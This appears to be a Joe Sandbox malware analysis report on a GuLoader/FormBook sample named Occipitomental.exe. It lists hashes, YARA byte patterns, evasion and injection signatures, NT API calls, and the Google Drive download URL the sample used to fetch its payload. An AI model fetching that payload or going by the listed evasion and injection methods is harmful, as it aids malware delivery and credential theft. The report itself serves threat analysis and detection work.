Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
Occipitomental.exe

Overview

General Information

Sample name:Occipitomental.exe
Analysis ID:1539390
MD5:b0468f2993c4838126375529ccd4155a
SHA1:5a4544bf78b831bfa3c74ecc0e3d742a43af1161
SHA256:8d9dfd67ef81fae440a3cd1cfbcc57646407f4116bbdb64d31ca1a0d51e479b3
Tags:exeGuLoaderuser-malwarelabnet
Infos:

Detection

FormBook, GuLoader
Score:92
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus / Scanner detection for submitted sample
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Yara detected FormBook
Yara detected GuLoader
AI detected suspicious sample
Switches to a custom stack to bypass stack traces
Tries to detect virtualization through RDTSC time measurements
Abnormal high CPU Usage
Contains functionality for execution timing, often used to detect debuggers
Contains functionality for read data from the clipboard
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to dynamically determine API calls
Contains functionality to read the PEB
Contains functionality to shutdown / reboot the system
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Detected potential crypto function
Drops PE files
Found dropped PE file which has not been started or loaded
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE / OLE file has an invalid certificate
PE file contains executable resources (Code or Archives)
Sample file is different than original file name gathered from version info
Stores files to the Windows start menu directory
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)
Yara signature match

Classification

Process Tree

  • System is w10x64
  • Occipitomental.exe (PID: 7620 cmdline: "C:\Users\user\Desktop\Occipitomental.exe" MD5: B0468F2993C4838126375529CCD4155A)
    • Occipitomental.exe (PID: 1928 cmdline: "C:\Users\user\Desktop\Occipitomental.exe" MD5: B0468F2993C4838126375529CCD4155A)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
Formbook, FormboFormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware.
  • SWEED
  • Cobalt
https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook
NameDescriptionAttributionBlogpost URLsLink
CloudEyE, GuLoaderCloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Malware Configuration

⊘No configs have been found

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000006.00000002.3595105128.0000000035330000.00000004.00001000.00020000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
    00000006.00000002.3595105128.0000000035330000.00000004.00001000.00020000.00000000.sdmpWindows_Trojan_Formbook_1112e116unknownunknown
    • 0x2baf0:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55
    • 0x13b6f:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
    00000006.00000002.3573012029.000000000215F000.00000040.00000400.00020000.00000000.sdmpJoeSecurity_GuLoader_2Yara detected GuLoaderJoe Security
      00000000.00000002.3064036852.0000000003A2F000.00000040.00001000.00020000.00000000.sdmpJoeSecurity_GuLoader_2Yara detected GuLoaderJoe Security

        Sigma Signatures

        ⊘No Sigma rule has matched

        Suricata Signatures

        ⊘No Suricata rule has matched

        Joe Sandbox Signatures

        Click to jump to signature section

        Show All Signature Results

        AV Detection

        barindex
        Antivirus / Scanner detection for submitted sample
        Source: Occipitomental.exeAvira: detected
        Multi AV Scanner detection for submitted file
        Source: Occipitomental.exeReversingLabs: Detection: 60%
        Yara detected FormBook
        Source: Yara matchFile source: 00000006.00000002.3595105128.0000000035330000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
        AI detected suspicious sample
        Source: Submited SampleIntegrated Neural Analysis Model: Matched 100.0% probability
        Source: Occipitomental.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
        Source: unknownHTTPS traffic detected: 142.250.186.78:443 -> 192.168.2.7:49971 version: TLS 1.2
        Source: unknownHTTPS traffic detected: 142.250.186.97:443 -> 192.168.2.7:49972 version: TLS 1.2
        Source: Occipitomental.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
        Source: Binary string: mshtml.pdb source: Occipitomental.exe, 00000006.00000001.3062958359.0000000000649000.00000020.00000001.01000000.00000008.sdmp
        Source: Binary string: wntdll.pdbUGP source: Occipitomental.exe, 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmp, Occipitomental.exe, 00000006.00000003.3532410512.00000000354E2000.00000004.00000020.00020000.00000000.sdmp, Occipitomental.exe, 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Occipitomental.exe, 00000006.00000003.3530139121.000000003533E000.00000004.00000020.00020000.00000000.sdmp
        Source: Binary string: wntdll.pdb source: Occipitomental.exe, Occipitomental.exe, 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmp, Occipitomental.exe, 00000006.00000003.3532410512.00000000354E2000.00000004.00000020.00020000.00000000.sdmp, Occipitomental.exe, 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Occipitomental.exe, 00000006.00000003.3530139121.000000003533E000.00000004.00000020.00020000.00000000.sdmp
        Source: Binary string: mshtml.pdbUGP source: Occipitomental.exe, 00000006.00000001.3062958359.0000000000649000.00000020.00000001.01000000.00000008.sdmp
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 0_2_00406001 FindFirstFileA,FindClose,0_2_00406001
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 0_2_00402688 FindFirstFileA,0_2_00402688
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 0_2_0040559F GetTempPathA,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose,0_2_0040559F
        Source: C:\Users\user\Desktop\Occipitomental.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Windows\INetCacheJump to behavior
        Source: C:\Users\user\Desktop\Occipitomental.exeFile opened: C:\Users\userJump to behavior
        Source: C:\Users\user\Desktop\Occipitomental.exeFile opened: C:\Users\user\AppData\Local\MicrosoftJump to behavior
        Source: C:\Users\user\Desktop\Occipitomental.exeFile opened: C:\Users\user\AppData\Local\Microsoft\WindowsJump to behavior
        Source: C:\Users\user\Desktop\Occipitomental.exeFile opened: C:\Users\user\AppData\LocalJump to behavior
        Source: C:\Users\user\Desktop\Occipitomental.exeFile opened: C:\Users\user\AppDataJump to behavior
        Source: Joe Sandbox ViewJA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19
        Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
        Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
        Source: global trafficHTTP traffic detected: GET /uc?export=download&id=145RJWuI0Ln_ShdahU_6lgTEtOh5H5P1H HTTP/1.1User-Agent: 5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cache
        Source: global trafficHTTP traffic detected: GET /download?id=145RJWuI0Ln_ShdahU_6lgTEtOh5H5P1H&export=download HTTP/1.1User-Agent: 5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
        Source: global trafficDNS traffic detected: DNS query: drive.google.com
        Source: global trafficDNS traffic detected: DNS query: drive.usercontent.google.com
        Source: Occipitomental.exeString found in binary or memory: http://nsis.sf.net/NSIS_Error
        Source: Occipitomental.exeString found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
        Source: Occipitomental.exe, 00000006.00000001.3062958359.0000000000649000.00000020.00000001.01000000.00000008.sdmpString found in binary or memory: http://www.ftp.ftp://ftp.gopher.
        Source: Occipitomental.exe, 00000006.00000001.3062958359.00000000005F2000.00000020.00000001.01000000.00000008.sdmpString found in binary or memory: http://www.w3c.org/TR/1999/REC-html401-19991224/frameset.dtd
        Source: Occipitomental.exe, 00000006.00000001.3062958359.00000000005F2000.00000020.00000001.01000000.00000008.sdmpString found in binary or memory: http://www.w3c.org/TR/1999/REC-html401-19991224/loose.dtd
        Source: Occipitomental.exe, 00000006.00000003.3142188696.0000000005643000.00000004.00000020.00020000.00000000.sdmp, Occipitomental.exe, 00000006.00000003.3142132922.0000000005643000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://apis.google.com
        Source: Occipitomental.exe, 00000006.00000002.3576972256.00000000055FB000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://drive.google.com/%v
        Source: Occipitomental.exe, 00000006.00000002.3576972256.00000000055FB000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://drive.google.com/5v-z
        Source: Occipitomental.exe, 00000006.00000002.3576972256.0000000005613000.00000004.00000020.00020000.00000000.sdmp, Occipitomental.exe, 00000006.00000002.3576972256.00000000055FB000.00000004.00000020.00020000.00000000.sdmp, Occipitomental.exe, 00000006.00000002.3594761256.0000000034AB0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://drive.google.com/uc?export=download&id=145RJWuI0Ln_ShdahU_6lgTEtOh5H5P1H
        Source: Occipitomental.exe, 00000006.00000002.3576972256.00000000055FB000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://drive.google.com/uc?export=download&id=145RJWuI0Ln_ShdahU_6lgTEtOh5H5P1HQx
        Source: Occipitomental.exe, 00000006.00000003.3150992362.0000000005643000.00000004.00000020.00020000.00000000.sdmp, Occipitomental.exe, 00000006.00000003.3530439708.0000000005640000.00000004.00000020.00020000.00000000.sdmp, Occipitomental.exe, 00000006.00000002.3577066328.0000000005643000.00000004.00000020.00020000.00000000.sdmp, Occipitomental.exe, 00000006.00000003.3530612351.0000000005640000.00000004.00000020.00020000.00000000.sdmp, Occipitomental.exe, 00000006.00000003.3182807402.0000000005643000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://drive.usercontent.google.com/
        Source: Occipitomental.exe, 00000006.00000003.3572867436.000000000562D000.00000004.00000020.00020000.00000000.sdmp, Occipitomental.exe, 00000006.00000003.3142188696.0000000005643000.00000004.00000020.00020000.00000000.sdmp, Occipitomental.exe, 00000006.00000003.3150992362.0000000005643000.00000004.00000020.00020000.00000000.sdmp, Occipitomental.exe, 00000006.00000003.3530439708.0000000005640000.00000004.00000020.00020000.00000000.sdmp, Occipitomental.exe, 00000006.00000002.3577066328.0000000005643000.00000004.00000020.00020000.00000000.sdmp, Occipitomental.exe, 00000006.00000003.3530700388.000000000562D000.00000004.00000020.00020000.00000000.sdmp, Occipitomental.exe, 00000006.00000002.3577030199.000000000562D000.00000004.00000020.00020000.00000000.sdmp, Occipitomental.exe, 00000006.00000003.3530612351.0000000005640000.00000004.00000020.00020000.00000000.sdmp, Occipitomental.exe, 00000006.00000003.3182807402.0000000005643000.00000004.00000020.00020000.00000000.sdmp, Occipitomental.exe, 00000006.00000003.3142132922.0000000005643000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://drive.usercontent.google.com/download?id=145RJWuI0Ln_ShdahU_6lgTEtOh5H5P1H&export=download
        Source: Occipitomental.exe, 00000006.00000003.3572867436.000000000562D000.00000004.00000020.00020000.00000000.sdmp, Occipitomental.exe, 00000006.00000003.3530700388.000000000562D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://drive.usercontent.google.com/download?id=145RJWuI0Ln_ShdahU_6lgTEtOh5H5P1H&export=download1
        Source: Occipitomental.exe, 00000006.00000001.3062958359.0000000000649000.00000020.00000001.01000000.00000008.sdmpString found in binary or memory: https://inference.location.live.net/inferenceservice/v21/Pox/GetLocationUsingFingerprinte1e71f6b-214
        Source: Occipitomental.exe, 00000006.00000003.3142188696.0000000005643000.00000004.00000020.00020000.00000000.sdmp, Occipitomental.exe, 00000006.00000003.3142132922.0000000005637000.00000004.00000020.00020000.00000000.sdmp, Occipitomental.exe, 00000006.00000003.3142132922.0000000005643000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ssl.gstatic.com
        Source: Occipitomental.exe, 00000006.00000003.3142188696.0000000005643000.00000004.00000020.00020000.00000000.sdmp, Occipitomental.exe, 00000006.00000003.3142132922.0000000005637000.00000004.00000020.00020000.00000000.sdmp, Occipitomental.exe, 00000006.00000003.3142132922.0000000005643000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.google-analytics.com;report-uri
        Source: Occipitomental.exe, 00000006.00000003.3142188696.0000000005643000.00000004.00000020.00020000.00000000.sdmp, Occipitomental.exe, 00000006.00000003.3142132922.0000000005637000.00000004.00000020.00020000.00000000.sdmp, Occipitomental.exe, 00000006.00000003.3142132922.0000000005643000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.google.com
        Source: Occipitomental.exe, 00000006.00000003.3142188696.0000000005643000.00000004.00000020.00020000.00000000.sdmp, Occipitomental.exe, 00000006.00000003.3142132922.0000000005637000.00000004.00000020.00020000.00000000.sdmp, Occipitomental.exe, 00000006.00000003.3142132922.0000000005643000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.googletagmanager.com
        Source: Occipitomental.exe, 00000006.00000003.3142188696.0000000005643000.00000004.00000020.00020000.00000000.sdmp, Occipitomental.exe, 00000006.00000003.3142132922.0000000005637000.00000004.00000020.00020000.00000000.sdmp, Occipitomental.exe, 00000006.00000003.3142132922.0000000005643000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.gstatic.com
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49972
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49971
        Source: unknownNetwork traffic detected: HTTP traffic on port 49971 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 49972 -> 443
        Source: unknownHTTPS traffic detected: 142.250.186.78:443 -> 192.168.2.7:49971 version: TLS 1.2
        Source: unknownHTTPS traffic detected: 142.250.186.97:443 -> 192.168.2.7:49972 version: TLS 1.2
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 0_2_00405054 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,ShowWindow,ShowWindow,GetDlgItem,SendMessageA,SendMessageA,SendMessageA,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,LdrInitializeThunk,SendMessageA,CreatePopupMenu,LdrInitializeThunk,AppendMenuA,GetWindowRect,TrackPopupMenu,SendMessageA,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageA,GlobalUnlock,LdrInitializeThunk,SetClipboardData,CloseClipboard,0_2_00405054

        E-Banking Fraud

        barindex
        Yara detected FormBook
        Source: Yara matchFile source: 00000006.00000002.3595105128.0000000035330000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

        System Summary

        barindex
        Malicious sample detected (through community Yara rule)
        Source: 00000006.00000002.3595105128.0000000035330000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
        Source: C:\Users\user\Desktop\Occipitomental.exeProcess Stats: CPU usage > 49%
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_357035C0 NtCreateMutant,LdrInitializeThunk,6_2_357035C0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_35702DF0 NtQuerySystemInformation,LdrInitializeThunk,6_2_35702DF0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_35703010 NtOpenDirectoryObject,6_2_35703010
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_35703090 NtSetValueKey,6_2_35703090
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_35703D70 NtOpenThread,6_2_35703D70
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_35703D10 NtOpenProcessToken,6_2_35703D10
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_357039B0 NtGetContextThread,6_2_357039B0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_35704650 NtSuspendThread,6_2_35704650
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_35704340 NtSetContextThread,6_2_35704340
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_35702D30 NtUnmapViewOfSection,6_2_35702D30
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_35702D10 NtMapViewOfSection,6_2_35702D10
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_35702D00 NtSetInformationFile,6_2_35702D00
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_35702DD0 NtDelayExecution,6_2_35702DD0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_35702DB0 NtEnumerateKey,6_2_35702DB0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_35702C70 NtFreeVirtualMemory,6_2_35702C70
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_35702C60 NtCreateKey,6_2_35702C60
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_35702C00 NtQueryInformationProcess,6_2_35702C00
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_35702CF0 NtOpenProcess,6_2_35702CF0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_35702CC0 NtQueryVirtualMemory,6_2_35702CC0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_35702CA0 NtQueryInformationToken,6_2_35702CA0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_35702F60 NtCreateProcessEx,6_2_35702F60
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_35702F30 NtCreateSection,6_2_35702F30
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_35702FE0 NtCreateFile,6_2_35702FE0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_35702FB0 NtResumeThread,6_2_35702FB0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_35702FA0 NtQuerySection,6_2_35702FA0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_35702F90 NtProtectVirtualMemory,6_2_35702F90
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_35702E30 NtWriteVirtualMemory,6_2_35702E30
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_35702EE0 NtQueueApcThread,6_2_35702EE0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_35702EA0 NtAdjustPrivilegesToken,6_2_35702EA0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_35702E80 NtReadVirtualMemory,6_2_35702E80
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_35702B60 NtClose,6_2_35702B60
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_35702BF0 NtAllocateVirtualMemory,6_2_35702BF0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_35702BE0 NtQueryValueKey,6_2_35702BE0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_35702BA0 NtEnumerateValueKey,6_2_35702BA0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_35702B80 NtQueryInformationFile,6_2_35702B80
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_35702AF0 NtWriteFile,6_2_35702AF0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_35702AD0 NtReadFile,6_2_35702AD0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_35702AB0 NtWaitForSingleObject,6_2_35702AB0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 0_2_004030D9 EntryPoint,SetErrorMode,GetVersion,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,GetModuleHandleA,CharNextA,LdrInitializeThunk,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,LdrInitializeThunk,CopyFileA,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,0_2_004030D9
        Source: C:\Users\user\Desktop\Occipitomental.exeFile created: C:\Windows\resources\0809Jump to behavior
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 0_2_004063440_2_00406344
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 0_2_004048930_2_00404893
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_357875716_2_35787571
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_357995C36_2_357995C3
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3576D5B06_2_3576D5B0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356C14606_2_356C1460
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3578F43F6_2_3578F43F
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3578F7B06_2_3578F7B0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_357156306_2_35715630
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_357816CC6_2_357816CC
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3579B16B6_2_3579B16B
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356BF1726_2_356BF172
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3570516C6_2_3570516C
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356DB1B06_2_356DB1B0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_357870E96_2_357870E9
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3578F0E06_2_3578F0E0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356D70C06_2_356D70C0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3577F0CC6_2_3577F0CC
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356BD34C6_2_356BD34C
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3578132D6_2_3578132D
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3571739A6_2_3571739A
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_357712ED6_2_357712ED
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356EB2C06_2_356EB2C0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356D52A06_2_356D52A0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_35787D736_2_35787D73
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_35781D5A6_2_35781D5A
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356D3D406_2_356D3D40
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356EFDC06_2_356EFDC0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_35749C326_2_35749C32
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3578FCF26_2_3578FCF2
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3578FF096_2_3578FF09
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_35693FD26_2_35693FD2
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_35693FD56_2_35693FD5
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3578FFB16_2_3578FFB1
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356D1F926_2_356D1F92
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356D5EC06_2_356D5EC0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356D9EB06_2_356D9EB0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356D99506_2_356D9950
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356EB9506_2_356EB950
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_357659106_2_35765910
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3573D8006_2_3573D800
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356D38E06_2_356D38E0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3578FB766_2_3578FB76
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_35745BF06_2_35745BF0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3570DBF96_2_3570DBF9
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356EFB806_2_356EFB80
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_35743A6C6_2_35743A6C
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3578FA496_2_3578FA49
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_35787A466_2_35787A46
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3577DAC66_2_3577DAC6
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_35715AA06_2_35715AA0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_35771AA36_2_35771AA3
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3576DAAC6_2_3576DAAC
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356D05356_2_356D0535
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_357905916_2_35790591
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_357824466_2_35782446
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_357744206_2_35774420
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3577E4F66_2_3577E4F6
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356D07706_2_356D0770
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356F47506_2_356F4750
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356CC7C06_2_356CC7C0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356EC6E06_2_356EC6E0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_357581586_2_35758158
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356C01006_2_356C0100
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3576A1186_2_3576A118
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_357881CC6_2_357881CC
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_357901AA6_2_357901AA
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_357841A26_2_357841A2
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_357620006_2_35762000
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3578A3526_2_3578A352
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356DE3F06_2_356DE3F0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_357903E66_2_357903E6
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_357702746_2_35770274
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_357502C06_2_357502C0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3576CD1F6_2_3576CD1F
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356DAD006_2_356DAD00
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356CADE06_2_356CADE0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356E8DBF6_2_356E8DBF
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356D0C006_2_356D0C00
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356C0CF26_2_356C0CF2
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_35770CB56_2_35770CB5
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_35744F406_2_35744F40
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_35772F306_2_35772F30
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_35712F286_2_35712F28
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356F0F306_2_356F0F30
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356DCFE06_2_356DCFE0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356C2FC86_2_356C2FC8
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3574EFA06_2_3574EFA0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356D0E596_2_356D0E59
